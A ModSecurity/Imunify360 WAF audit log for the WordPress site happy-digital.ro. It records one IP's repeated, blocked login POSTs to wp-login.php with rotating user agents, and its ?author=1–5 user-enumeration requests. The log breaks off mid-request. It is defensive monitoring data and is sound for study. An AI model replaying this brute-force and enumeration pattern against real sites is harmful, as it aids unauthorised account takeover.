--1c57d72c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 89
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--1c57d72c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--1c57d72c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314001170029 3703 (- - -)
Stopwatch2: 1789314001170029 3703; combined=927, p1=406, p2=185, p3=0, p4=0, p5=336, sr=170, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1c57d72c-Z--

--3e65b20f-A--
[13/Sep/2026:18:40:01.624311 +0300] aqbD0VdqBhgxDSpG7haLIgAAAFg 134.185.87.66 57714 127.0.0.1 7081
--3e65b20f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--3e65b20f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3e65b20f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314001583032 41370 (- - -)
Stopwatch2: 1789314001583032 41370; combined=1112, p1=581, p2=145, p3=0, p4=0, p5=386, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3e65b20f-Z--

--2da04874-A--
[13/Sep/2026:18:40:02.128582 +0300] aqbD0khjHs68UzErry1K7AAAAJY 134.185.87.66 57740 127.0.0.1 7081
--2da04874-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--2da04874-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2da04874-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314002125424 3285 (- - -)
Stopwatch2: 1789314002125424 3285; combined=1090, p1=348, p2=157, p3=0, p4=0, p5=585, sr=160, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2da04874-Z--

--0089210e-A--
[13/Sep/2026:18:40:02.630738 +0300] aqbD0vut1GUrjaX0wO45gAAAAMU 134.185.87.66 57758 127.0.0.1 7081
--0089210e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--0089210e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--0089210e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314002622987 7840 (- - -)
Stopwatch2: 1789314002622987 7840; combined=1766, p1=358, p2=159, p3=0, p4=0, p5=1248, sr=117, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0089210e-Z--

--8d6e8948-A--
[13/Sep/2026:18:40:03.151672 +0300] aqbD0-ut1GUrjaX0wO45ggAAANc 134.185.87.66 57772 127.0.0.1 7081
--8d6e8948-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--8d6e8948-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--8d6e8948-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314003149492 2250 (- - -)
Stopwatch2: 1789314003149492 2250; combined=782, p1=400, p2=94, p3=0, p4=0, p5=287, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8d6e8948-Z--

--93dec564-A--
[13/Sep/2026:18:40:03.557963 +0300] aqbD0-ut1GUrjaX0wO45hQAAAMQ 134.185.87.66 57812 127.0.0.1 7081
--93dec564-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--93dec564-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--93dec564-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314003554829 3198 (- - -)
Stopwatch2: 1789314003554829 3198; combined=982, p1=275, p2=236, p3=0, p4=0, p5=471, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--93dec564-Z--

--d789345f-A--
[13/Sep/2026:18:40:03.954233 +0300] aqbD0-ut1GUrjaX0wO45iAAAAMs 134.185.87.66 57832 127.0.0.1 7081
--d789345f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 102
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--d789345f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--d789345f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314003951416 2907 (- - -)
Stopwatch2: 1789314003951416 2907; combined=872, p1=433, p2=116, p3=0, p4=0, p5=323, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d789345f-Z--

--c538e051-A--
[13/Sep/2026:18:40:04.355694 +0300] aqbD1EhjHs68UzErry1K7QAAAIE 134.185.87.66 57858 127.0.0.1 7081
--c538e051-B--
GET /?author=1 HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1

--c538e051-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Cache-Control: max-age=290304000, public
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c538e051-E--

--c538e051-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314004337806 17965 (- - -)
Stopwatch2: 1789314004337806 17965; combined=3765, p1=244, p2=3343, p3=92, p4=9, p5=76, sr=99, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c538e051-Z--

--03ad5243-A--
[13/Sep/2026:18:40:04.547523 +0300] aqbD1Put1GUrjaX0wO45igAAANQ 134.185.87.66 57866 127.0.0.1 7081
--03ad5243-B--
GET /?author=2 HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1

--03ad5243-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Cache-Control: max-age=290304000, public
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--03ad5243-E--

--03ad5243-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:2||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314004542012 5581 (- - -)
Stopwatch2: 1789314004542012 5581; combined=3455, p1=215, p2=3128, p3=74, p4=8, p5=30, sr=86, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--03ad5243-Z--

--e8db5968-A--
[13/Sep/2026:18:40:04.742358 +0300] aqbD1EhjHs68UzErry1K7gAAAJU 134.185.87.66 57876 127.0.0.1 7081
--e8db5968-B--
GET /?author=3 HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1

--e8db5968-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Cache-Control: max-age=290304000, public
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e8db5968-E--

--e8db5968-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:3||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314004736442 5991 (- - -)
Stopwatch2: 1789314004736442 5991; combined=3638, p1=272, p2=3244, p3=79, p4=10, p5=33, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e8db5968-Z--

--5e0d7a1a-A--
[13/Sep/2026:18:40:04.937546 +0300] aqbD1Put1GUrjaX0wO45iwAAAMA 134.185.87.66 57886 127.0.0.1 7081
--5e0d7a1a-B--
GET /?author=4 HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1

--5e0d7a1a-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Cache-Control: max-age=290304000, public
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5e0d7a1a-E--

--5e0d7a1a-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:4||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314004931862 5800 (- - -)
Stopwatch2: 1789314004931862 5800; combined=3478, p1=304, p2=3054, p3=75, p4=10, p5=35, sr=123, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5e0d7a1a-Z--

--47a8660c-A--
[13/Sep/2026:18:40:05.129577 +0300] aqbD1UhjHs68UzErry1K7wAAAIs 134.185.87.66 57888 127.0.0.1 7081
--47a8660c-B--
GET /?author=5 HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1

--47a8660c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Cache-Control: max-age=290304000, public
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--47a8660c-E--

--47a8660c-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:5||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314005123867 5809 (- - -)
Stopwatch2: 1789314005123867 5809; combined=3480, p1=407, p2=2963, p3=71, p4=7, p5=32, sr=154, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--47a8660c-Z--

--38d96434-A--
[13/Sep/2026:18:40:05.319110 +0300] aqbD1fut1GUrjaX0wO45jAAAANA 134.185.87.66 57898 127.0.0.1 7081
--38d96434-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 111
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--38d96434-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--38d96434-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314005317041 2125 (- - -)
Stopwatch2: 1789314005317041 2125; combined=680, p1=259, p2=133, p3=0, p4=0, p5=288, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--38d96434-Z--

--5aca4e27-A--
[13/Sep/2026:18:40:05.715829 +0300] aqbD1fut1GUrjaX0wO45jgAAAME 134.185.87.66 46102 127.0.0.1 7081
--5aca4e27-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 114
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5aca4e27-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5aca4e27-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314005714199 1704 (- - -)
Stopwatch2: 1789314005714199 1704; combined=568, p1=239, p2=62, p3=0, p4=0, p5=267, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5aca4e27-Z--

--ea39c219-A--
[13/Sep/2026:18:40:06.102825 +0300] aqbD1vut1GUrjaX0wO45kAAAAMw 134.185.87.66 46106 127.0.0.1 7081
--ea39c219-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 117
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--ea39c219-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ea39c219-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314006101104 1776 (- - -)
Stopwatch2: 1789314006101104 1776; combined=611, p1=236, p2=68, p3=0, p4=0, p5=307, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ea39c219-Z--

--f5620025-A--
[13/Sep/2026:18:40:06.499693 +0300] aqbD1vut1GUrjaX0wO45kgAAAM4 134.185.87.66 46126 127.0.0.1 7081
--f5620025-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--f5620025-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f5620025-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314006498014 1740 (- - -)
Stopwatch2: 1789314006498014 1740; combined=589, p1=271, p2=64, p3=0, p4=0, p5=254, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f5620025-Z--

--276d7046-A--
[13/Sep/2026:18:40:06.944927 +0300] aqbD1vut1GUrjaX0wO45lAAAAMs 134.185.87.66 46138 127.0.0.1 7081
--276d7046-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 114
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
